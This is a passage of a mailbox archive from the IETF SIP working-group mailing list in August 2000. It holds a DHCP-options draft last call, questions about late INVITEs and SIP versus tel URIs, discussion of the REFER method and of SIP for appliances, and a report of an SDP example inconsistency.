lists.bell-labs.com (Postfix) with ESMTP id 6289444362; Mon, 7 Aug 2000 18:53:30 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from kevlar.softarmor.com (dwillis1.directlink.net [63.64.250.82]) by lists.bell-labs.com (Postfix) with ESMTP id 4A6B544348 for ; Mon, 7 Aug 2000 18:53:26 -0400 (EDT) Received: from flyer (IDENT:root@localhost [127.0.0.1]) by kevlar.softarmor.com (8.9.3/8.9.3) with SMTP id EAA10422 for ; Tue, 8 Aug 2000 04:56:52 -0500 From: "Dean Willis" To: "IETF SIP" Date: Mon, 7 Aug 2000 17:54:25 -0500 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="Windows-1252" X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0) Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Subject: [SIP] Working Group Last Call on draft-ietf-sip-dhcp-01.txt (DHCP Options for SIP) 21Aug2000 Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from base64 to 8bit by ietf.org id SAA27783 The initial WG last call of the DHCP options draft resulted in changes that significantly simplified the material. A revised draft, http://search.ietf.org/internet-drafts/draft-ietf-sip-dhcp-01.txt was posted in April. There have been essentially no comments on it. I am therefore announcing a working-group last call. Please review the draft. If no new issues are raised by August 21 (that's two weeks from this transmission), we will send the draft to the IESG. -- DeanÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÒ ùšŠX§‚X¬µ"þX¬¶ÏÛzYÿ•¦ìýÊ&†ÛiÿÿåŠËlý·¥—ùZnÏÜ¢oæj)fjåŠËbú? From sip-admin@lists.bell-labs.com Mon Aug 7 23:11:51 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id XAA25779 for ; Mon, 7 Aug 2000 23:11:51 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id BE1D14434A; Mon, 7 Aug 2000 19:17:35 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from shire.formysite.com (mail.formysite.com [216.226.19.3]) by lists.bell-labs.com (Postfix) with ESMTP id 0599D44342 for ; Mon, 7 Aug 2000 19:17:32 -0400 (EDT) Received: from Odysseus2000 (64-66-221-27.webtelecom.com [64.66.221.27] (may be forged)) by shire.formysite.com (8.9.1a/8.9.1) with SMTP id SAA28515 for ; Mon, 7 Aug 2000 18:17:53 -0500 (CDT) Message-ID: <003c01c000c5$a60e82a0$1bdd4240@sfmissn1.sfba.home.com> Reply-To: "Garret Wilson" From: "Garret Wilson" To: "SIP List" Date: Mon, 7 Aug 2000 16:17:24 -0700 Organization: GlobalMentor, Inc. MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Subject: [SIP] processing late INVITEs Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit Everyone, What does a does a server do if an isomorphic SIP INVITE arrives after a call completes? For example if, through a series of forking proxies, two isomorphic INVITEs get generated destined for a single UAS. The path that the second INVITE takes is such that it is delayed and arrives at the UAS *after* the call initiated by the first INVITE has finished. Does the UAS simply ignore the second INVITE? If so, this means that the UAS would need to keep a record of all INVITEs it has received over X amount of time. How long would the UAS need to store this information? Thanks in advance, Garret Wilson _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Mon Aug 7 23:11:55 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id XAA25790 for ; Mon, 7 Aug 2000 23:11:55 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 0556544349; Mon, 7 Aug 2000 21:00:57 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from exchange.NeTrue.com (unknown [63.192.248.60]) by lists.bell-labs.com (Postfix) with ESMTP id 9243244342 for ; Mon, 7 Aug 2000 21:00:54 -0400 (EDT) Received: by exchange.netrue.com with Internet Mail Service (5.5.2650.21) id ; Mon, 7 Aug 2000 18:05:01 -0700 Message-ID: From: Tricia Wang To: sip@lists.bell-labs.com Date: Mon, 7 Aug 2000 18:04:51 -0700 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain; charset="iso-8859-1" Subject: [SIP] General SIP URI Question Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Hi, Sorry, this might be asked before, but is telephone number consider a valid SIP URI For instance, sip:17148700861 thanks Tricia NeTrue Communications www.netrue.com _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Tue Aug 8 08:27:55 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id IAA12475 for ; Tue, 8 Aug 2000 08:27:55 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 1F15644346; Tue, 8 Aug 2000 08:27:21 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from mailgate.pit.comms.marconi.com (mailgate.pit.comms.marconi.com [169.144.68.6]) by lists.bell-labs.com (Postfix) with ESMTP id 71DCD44338 for ; Tue, 8 Aug 2000 08:27:17 -0400 (EDT) Received: from mailman.pit.comms.marconi.com (mailman.pit.comms.marconi.com [169.144.2.12]) by mailgate.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id IAA08888; Tue, 8 Aug 2000 08:27:15 -0400 (EDT) Received: from whq-msgrtr-02.fore.com (whq-msgrtr-02.pit.comms.marconi.com [169.144.2.220]) by mailman.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id IAA20991; Tue, 8 Aug 2000 08:27:15 -0400 (EDT) Received: by whq-msgrtr-02.pit.comms.marconi.com with Internet Mail Service (5.5.2650.21) id ; Tue, 8 Aug 2000 08:27:13 -0400 Message-ID: <4FBEA8857476D311A03300204840E1CF6786D0@whq-msgusr-02.fore.com> From: "Rosen, Brian" To: "'Tom Gray'" , Henry Sinnreich , Robert Sparks , sip@lists.bell-labs.com Subject: RE: [SIP] The NOTIFY method Date: Tue, 8 Aug 2000 08:27:14 -0400 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain; charset="iso-8859-1" Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com My opinion is that where it is essential that two sip components agree on how a feature is to be handled, then there should be some kind of document that describes how that works, so that interoperability can be achieved. If the feature is solely implemented in a single element, then it is not something we need to worry about. Just because there needs to be a document does not imply a standards track RFC. Only things which are not achievable with existing SIP methods might need extensions. Other features might be covered in other kinds of documents, Informational RFCs for example, or even documents not in the IETF. > -----Original Message----- > From: Tom Gray [mailto:tom_gray_intp@yahoo.com] > Sent: Monday, August 07, 2000 6:49 PM > To: Henry Sinnreich; Robert Sparks; sip@lists.bell-labs.com > Subject: RE: [SIP] The NOTIFY method > > > > --- Henry Sinnreich wrote: > > >May I ask why SIP is being extended to include PBX > > >feature handling? > > > > SIP phones can provide the PBX features without the > > (IP)PBX. > > > > Henry > > > > What levels of features do you then see being created > with SIP? There a a whole host of PBX features. It > seems that you are asking for a subset. > > Tom Gray > > > _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Tue Aug 8 08:48:03 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id IAA25112 for ; Tue, 8 Aug 2000 08:48:02 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 469EE44342; Tue, 8 Aug 2000 06:39:44 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from ubiquity.net (mail.ubiquity.net [194.128.96.72]) by lists.bell-labs.com (Postfix) with ESMTP id 6A42A4433F for ; Tue, 8 Aug 2000 06:39:20 -0400 (EDT) Received: from gethin by ubiquity.net with SMTP (8.8.8+Sun/25-eef) id LAA21348; Tue, 8 Aug 2000 11:36:11 +0100 (BST) From: Gethin Liddell Organization: Ubiquity Software Corp. To: Tricia Wang , sip@lists.bell-labs.com Subject: Re: [SIP] General SIP URI Question Date: Tue, 8 Aug 2000 11:28:02 +0100 X-Mailer: KMail [version 1.0.29.2] Content-Type: text/plain References: In-Reply-To: MIME-Version: 1.0 Message-Id: <00080811311603.31210@gethin> Content-Transfer-Encoding: 8bit Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 8bit On Tue, 08 Aug 2000, Tricia Wang wrote: > Hi, > > Sorry, this might be asked before, but is telephone number consider a > valid SIP URI > > For instance, sip:17148700861 no. to use the sip url, you must at the very least provide a host name and 17148700861 is not a valid host name. however, you can use the tel url (RFC 1806) to do this. e.g. tel:17148700861 > _______________________________________________ > SIP mailing list > SIP@lists.bell-labs.com > http://lists.bell-labs.com/mailman/listinfo/sip -- Gethin Liddell Ubiquity Software Corporation http://www.ubiquity.net mailto:gethin@ubiquity.net _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Tue Aug 8 09:04:30 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA05405 for ; Tue, 8 Aug 2000 09:04:30 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id EEACB4434B; Tue, 8 Aug 2000 09:04:17 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from redball.dynamicsoft.com (redball.dynamicsoft.com [216.173.40.51]) by lists.bell-labs.com (Postfix) with ESMTP id 7A03F44338 for ; Tue, 8 Aug 2000 09:04:13 -0400 (EDT) Received: from CINQUECENTO ([216.66.66.32]) by redball.dynamicsoft.com (8.9.3+Sun/8.10.0.Beta12) with SMTP id JAA08916 for ; Tue, 8 Aug 2000 09:05:40 -0400 (EDT) From: "Robert Sparks" To: Subject: The REFER method (was [SIP] The NOTIFY method) Date: Tue, 8 Aug 2000 08:02:28 -0500 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0) In-reply-to: Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6700 Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit Argh - You can tell where my mind has been for the last few weeks. The below draft introduces the REFER method. RjS > -----Original Message----- > From: sip-admin@lists.bell-labs.com > [mailto:sip-admin@lists.bell-labs.com]On Behalf Of Robert Sparks > Sent: Monday, August 07, 2000 9:48 AM > To: sip@lists.bell-labs.com > Subject: [SIP] The NOTIFY method > > > If you have not already done so, please look over > draft-ietf-sip-cc-transfer-00.txt (attached for > convenience) and comment. > > We missed the original target for completing this > work. If there are any issues with the draft, lets > work through them as soon as possible. > > Thanks! > RjS > > > Here are the changes since the previous version of > the draft: > > . The method was renamed to reflect its function instead of this > particular application of its function. TRANSFER and Transfer-To > became REFER and Refer-To. REFER was generalized to support URLs > beyond those indicating SIP INVITEs. > . A Require header is no longer required. Bodies are allowed. > . Copying Call-ID from the request was replaced by using a Refer-To: > URL containing any headers that should be use. > . Added a way for the identity specified in Refer-To: to know it has > been referred to. > . Added a mechanism to prove the identity of the issuer of the REFER > to the identity specified in Refer-To. > . The failure response returned to an attempted REFER has been > changed from 603 to 503 to facilitate different behavior in the > cases of "I won't accept that REFER" and "I tried that REFER and it > failed" with Retry-After: support for the later. _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Tue Aug 8 09:13:55 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id BAA28025 for ; Tue, 8 Aug 2000 01:01:37 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 3489D4435E; Mon, 7 Aug 2000 19:45:25 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from kevlar.softarmor.com (dwillis1.directlink.net [63.64.250.82]) by lists.bell-labs.com (Postfix) with ESMTP id BBB9744342 for ; Mon, 7 Aug 2000 19:45:21 -0400 (EDT) Received: from flyer (IDENT:root@localhost [127.0.0.1]) by kevlar.softarmor.com (8.9.3/8.9.3) with SMTP id FAA10544; Tue, 8 Aug 2000 05:48:51 -0500 From: "Dean Willis" To: "IETF SIP" , Date: Mon, 7 Aug 2000 18:45:48 -0500 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="Windows-1252" X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0) X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Importance: Normal Subject: [SIP] Resend: WG Last Call on draft-ietf-sip-dhcp-01.txt 21Aug00 Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from base64 to 8bit by ietf.org id BAA28025 I regrettably failed to copy the DHC group on the initial attempt ------ The initial WG last call of the DHCP option for SIP draft resulted in changes that significantly simplified the material. A revised draft, http://search.ietf.org/internet-drafts/draft-ietf-sip-dhcp-01.txt was posted in April. There have been essentially no comments on it to my knowledge. I am therefore announcing a working-group last call. Please review the draft. If no new issues are raised by August 21 (that's two weeks from this transmission), we will send the draft to the IESG. -- Dean Willis SIP WG Co-ChairÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÒ ùšŠX§‚X¬µ"þX¬¶ÏÛzYÿ•¦ìýÊ&†ÛiÿÿåŠËlý·¥—ùZnÏÜ¢oæj)fjåŠËbú? From sip-admin@lists.bell-labs.com Tue Aug 8 09:21:24 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA15196 for ; Tue, 8 Aug 2000 09:21:23 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 0825944366; Mon, 7 Aug 2000 19:47:46 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from diablo.cisco.com (diablo.cisco.com [171.68.224.210]) by lists.bell-labs.com (Postfix) with ESMTP id 0446A4435C for ; Mon, 7 Aug 2000 19:47:43 -0400 (EDT) Received: from jmpolk-8k (ssh.cisco.com [171.69.10.34]) by diablo.cisco.com (8.8.6 (PHNE_14041)/CISCO.SERVER.1.2) with SMTP id QAA10167; Mon, 7 Aug 2000 16:46:15 -0700 (PDT) Message-Id: <4.1.20000807184536.00ce5a70@diablo.cisco.com> X-Sender: jmpolk@diablo.cisco.com X-Mailer: QUALCOMM Windows Eudora Pro Version 4.1 Date: Mon, 07 Aug 2000 18:46:02 -0500 To: Henry Sinnreich , "Rosen, Brian" , sip@lists.bell-labs.com From: "James M. Polk" Subject: RE: [SIP] SIP for Appliances In-Reply-To: References: <4.1.20000807161443.00c36100@diablo.cisco.com> Mime-Version: 1.0 Content-Type: multipart/alternative; boundary="=====================_11438300==_.ALT" Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com --=====================_11438300==_.ALT Content-Type: text/plain; charset="us-ascii" Henry I don't believe we did on this topic. At 05:03 PM 8/7/2000 -0500, Henry Sinnreich wrote: > > Did we take a vote on this? Don't remember. > > Henry > > >Use of SIP to CONTROL > >appliances may or may not be the greatest thing since sliced > >bread, but, unfortunately, falls outside of the SIP working > >group charter: >> >> -----Original Message----- >> From: sip-admin@lists.bell-labs.com [mailto:sip-admin@lists.bell-labs.com]On >> Behalf Of James M. Polk >> Sent: Monday, August 07, 2000 4:16 PM >> To: Rosen, Brian; sip@lists.bell-labs.com >> Subject: Re: [SIP] SIP for Appliances >> >> Jeez..... less than a week on the job and he's telling people with creative >> ideas to shuddup already...... >> >> DOH! >> >> :-p >> >> >> At 03:14 PM 8/7/2000 -0400, Rosen, Brian wrote: >> >The discussion on SIP for appliances has been fascinating, >> >and many good points have been raised. Use of SIP to CONTROL >> >appliances may or may not be the greatest thing since sliced >> >bread, but, unfortunately, falls outside of the SIP working >> >group charter: >> >"SIP is a text-based protocol, similar to HTTP and SMTP, for >> >initiating interactive communication sessions between users. >> >Such sessions include voice, video, chat, interactive games, >> >and virtual reality." >> > >> >We encourage the authors of the draft to create a mailing list >> >for the subject. They will be welcome to post an announcement >> >of such a list on the main SIP list. If the discussion proves as >> >lively as it has been, you may consider asking for a BOF at the >> >next IETF meeting. >> > >> >Since we have a ton of work to accomplish that falls within the >> >charter of the SIP WG, the chairs would like to cut off discussion >> >of this subject on the SIP list. >> > >> >We do not wish to curtail sip discussions that focus on devices >> >that facilitate multimedia communications between users >> >(such as dedicated IP phones, kitchen-counter mail/web/sip boxes, >> >set-top-boxes, and so on). These are within scope, and are encouraged. >> > >> >Brian Rosen >> >Joerg Ott >> >Dean Willis >> > >> > >> > >> >_______________________________________________ >> >SIP mailing list >> >SIP@lists.bell-labs.com >> >http://lists.bell-labs.com/mailman/listinfo/sip >> > >> >> ************************************* >> "At the end of the day... the most committed win!" >> >> James M. Polk >> Sr. Product Manager, Multiservice Architecture and Standards >> Enterprise Voice Business Unit >> Cisco Systems >> Dallas, Texas >> w) 972.813.5208 >> f) 972.813.5280 >> www.cisco.com > ************************************* "At the end of the day... the most committed win!" James M. Polk Sr. Product Manager, Multiservice Architecture and Standards Enterprise Voice Business Unit Cisco Systems Dallas, Texas w) 972.813.5208 f) 972.813.5280 www.cisco.com --=====================_11438300==_.ALT Content-Type: text/html; charset="us-ascii" Henry

I don't believe we did on this topic.

At 05:03 PM 8/7/2000 -0500, Henry Sinnreich wrote:
Did we take a vote on this? Don't remember.
 
Henry
 
>Use of SIP to CONTROL
>appliances may or may not be the greatest thing since sliced
>bread, but, unfortunately, falls outside of the SIP working
>group charter:
-----Original Message-----
From: sip-admin@lists.bell-labs.com [mailto:sip-admin@lists.bell-labs.com]On Behalf Of James M. Polk
Sent: Monday, August 07, 2000 4:16 PM
To: Rosen, Brian; sip@lists.bell-labs.com
Subject: Re: [SIP] SIP for Appliances

Jeez..... less than a week on the job and he's telling people with creative ideas to shuddup already......

DOH!

:-p


At 03:14 PM 8/7/2000 -0400, Rosen, Brian wrote:
>The discussion on SIP for appliances has been fascinating,
>and many good points have been raised.  Use of SIP to CONTROL
>appliances may or may not be the greatest thing since sliced
>bread, but, unfortunately, falls outside of the SIP working
>group charter:
>"SIP is a text-based protocol, similar to HTTP and SMTP, for
>initiating interactive communication sessions between users.
>Such sessions include voice, video, chat, interactive games,
>and virtual reality."
>
>We encourage the authors of the draft to create a mailing list
>for the subject.  They will be welcome to post an announcement
>of such a list on the main SIP list.  If the discussion proves as
>lively as it has been, you may consider asking for a BOF at the
>next IETF meeting.
>
>Since we have a ton of work to accomplish that falls within the
>charter of the SIP WG, the chairs would like to cut off discussion
>of this subject on the SIP list. 
>
>We do not wish to curtail sip discussions that focus on devices
>that facilitate multimedia communications between users
>(such as dedicated IP phones, kitchen-counter mail/web/sip boxes,
>set-top-boxes, and so on). These are within scope, and are encouraged.
>
>Brian Rosen
>Joerg Ott
>Dean Willis
>
>
>
>_______________________________________________
>SIP mailing list
>SIP@lists.bell-labs.com
>http://lists.bell-labs.com/mailman/listinfo/sip
>

*************************************
"At the end of the day... the most committed win!"

James M. Polk
Sr. Product Manager, Multiservice Architecture and Standards
Enterprise Voice Business Unit
Cisco Systems
Dallas, Texas
w) 972.813.5208
f)  972.813.5280
www.cisco.com


*************************************
"At the end of the day... the most committed win!"

James M. Polk
Sr. Product Manager, Multiservice Architecture and Standards
Enterprise Voice Business Unit
Cisco Systems
Dallas, Texas
w) 972.813.5208
f)  972.813.5280
www.cisco.com --=====================_11438300==_.ALT-- _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Tue Aug 8 09:51:52 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA15201 for ; Tue, 8 Aug 2000 09:21:23 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id F29F24434E; Mon, 7 Aug 2000 21:37:38 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from thumper.research.telcordia.com (thumper.research.telcordia.com [128.96.41.1]) by lists.bell-labs.com (Postfix) with ESMTP id 837C944342 for ; Mon, 7 Aug 2000 21:37:35 -0400 (EDT) Received: from mailee.research.telcordia.com (mailee [192.4.7.23]) by thumper.research.telcordia.com (8.10.1/8.10.1) with ESMTP id e781bYR17246; Mon, 7 Aug 2000 21:37:34 -0400 (EDT) Received: from katepc (katepc [192.4.9.74]) by mailee.research.telcordia.com (8.9.3/8.9.3) with SMTP id VAA02579; Mon, 7 Aug 2000 21:37:33 -0400 (EDT) Message-Id: <4.1.20000807213022.0093bf00@mailee.research.telcordia.com> X-Sender: stanm@mailee.research.telcordia.com X-Mailer: QUALCOMM Windows Eudora Pro Version 4.1 Date: Mon, 07 Aug 2000 21:35:26 -0400 To: "Rosen, Brian" , sip@lists.bell-labs.com From: Stan Moyer Subject: Re: [SIP] SIP for Appliances In-Reply-To: <4FBEA8857476D311A03300204840E1CF6786C3@whq-msgusr-02.fore. com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Brian, At 03:14 PM 8/7/2000 -0400, Rosen, Brian wrote: >The discussion on SIP for appliances has been fascinating, >and many good points have been raised. Use of SIP to CONTROL >appliances may or may not be the greatest thing since sliced >bread, but, unfortunately, falls outside of the SIP working >group charter: >"SIP is a text-based protocol, similar to HTTP and SMTP, for >initiating interactive communication sessions between users. >Such sessions include voice, video, chat, interactive games, >and virtual reality." > >We encourage the authors of the draft to create a mailing list >for the subject. They will be welcome to post an announcement >of such a list on the main SIP list. If the discussion proves as >lively as it has been, you may consider asking for a BOF at the >next IETF meeting. This sounds like a good idea -- we are working on creating a mailing list (which will be announced shortly) and a web page. However, I would like to make sure that whatever future path we take with the appliances work, we are able to synchronize/coordinate with the rest of the SIP WG work if needed. Hopefully we can have a BOF at the next IETF and we can reach a good agreement on how to move forward. > >Since we have a ton of work to accomplish that falls within the >charter of the SIP WG, the chairs would like to cut off discussion >of this subject on the SIP list. > >We do not wish to curtail sip discussions that focus on devices >that facilitate multimedia communications between users >(such as dedicated IP phones, kitchen-counter mail/web/sip boxes, >set-top-boxes, and so on). These are within scope, and are encouraged. We will continue to monitor the SIP list for this type of discussion too, because this also falls within our scope -- we do not wish to differentiate between types of devices/appliances. Thanks for enabling this subject/topic to be heard! Stan Moyer Director, Internet Services Infrastructure Research ; Telcordia Technologies, MCC-1A238R, 445 South Street, Morristown, NJ 07960-6438 voice: +1 973 829 4923; fax: +1 973 829 5889 http://www.argreenhouse.com/bios/stanm/ _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Tue Aug 8 10:11:27 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA01964 for ; Tue, 8 Aug 2000 10:11:27 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id F10D14434E; Tue, 8 Aug 2000 10:10:28 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from hotmail.com (f159.law7.hotmail.com [216.33.237.159]) by lists.bell-labs.com (Postfix) with ESMTP id 39D3E44338 for ; Tue, 8 Aug 2000 10:10:25 -0400 (EDT) Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC; Tue, 8 Aug 2000 07:10:20 -0700 Received: from 164.164.6.34 by lw7fd.law7.hotmail.msn.com with HTTP; Tue, 08 Aug 2000 GMT X-Originating-IP: [164.164.6.34] From: "rahul pande" To: sip@lists.bell-labs.com Date: Tue, 08 Aug 2000 14:10:20 GMT Mime-Version: 1.0 Content-Type: text/plain; format=flowed Message-ID: X-OriginalArrivalTime: 08 Aug 2000 14:10:20.0446 (UTC) FILETIME=[62DC7BE0:01C00142] Subject: [SIP] some inconsistencies in SIP rfc Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com The foll. example is given in SIP rfc : v=0 o=alice 2890844526 2890844526 IN IP4 host.anywhere.com c=IN IP4 host.anywhere.com m=audio 49170 RTP/AVP 0 a=rtpmap:0 PCMU/8000 m=video 51372 RTP/AVP 31 a=rtpmap:31 H261/90000 m=video 53000 RTP/AVP 32 a=rtpmap:32 MPV/90000 The callee, Bob, does not want to receive or send the first video stream, so it returns the media description below: v=0 o=bob 2890844730 2890844730 IN IP4 host.example.com c=IN IP4 host.example.com m=audio 47920 RTP/AVP 0 1 a=rtpmap:0 PCMU/8000 a=rtpmap:1 1016/8000 ** m=video 0 RTP/AVP 31 ****** some payload value is specified m=video 53000 RTP/AVP 32 a=rtpmap:32 MPV/90000 The above is the example specified in the SIP rfc, but its contradicting with the following statement in SIP rfc under Appendix B: If caller and callee have no media formats in common for a particular stream, the callee MUST return a session description containing the particular "m=" line, but with the port number set to zero, and no payload types listed. Again the above statement "no payloads type listed" contradicts with the SDP rfc since its grammar does not allow the format list to be empty or blank. Its : media-field = "m=" media space port ["/" integer] space proto 1*(space fmt) CRLF ________________________________________________________________________ Get Your Private, Free E-mail from MSN Hotmail at http://www.hotmail.com _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Tue Aug 8 10:13:12 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA02336 for ; Tue, 8 Aug 2000 10:13:12 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 0EF6D44352; Tue, 8 Aug 2000 10:11:27 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from ubiquity.net (mail.ubiquity.net [194.128.96.72]) by lists.bell-labs.com (Postfix) with ESMTP id 4920044338 for ; Tue, 8 Aug 2000 10:11:23 -0400 (EDT) Received: from gethin by ubiquity.net with SMTP (8.8.8+Sun/25-eef) id PAA10385; Tue, 8 Aug 2000 15:09:17 +0100 (BST) From: Gethin Liddell Organization: Ubiquity Software Corp. To: "Kevin Davis" Subject: Re: [SIP] General SIP URI Question Date: Tue, 8 Aug 2000 15:03:53 +0100 X-Mailer: KMail [version 1.0.29.2] Content-Type: text/plain References: <85256935.004B7110.00@notes.teradyne.com> In-Reply-To: <85256935.004B7110.00@notes.teradyne.com> Cc: Sip Mail List MIME-Version: 1.0 Message-Id: <00080815042001.04451@gethin> Content-Transfer-Encoding: 8bit Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com 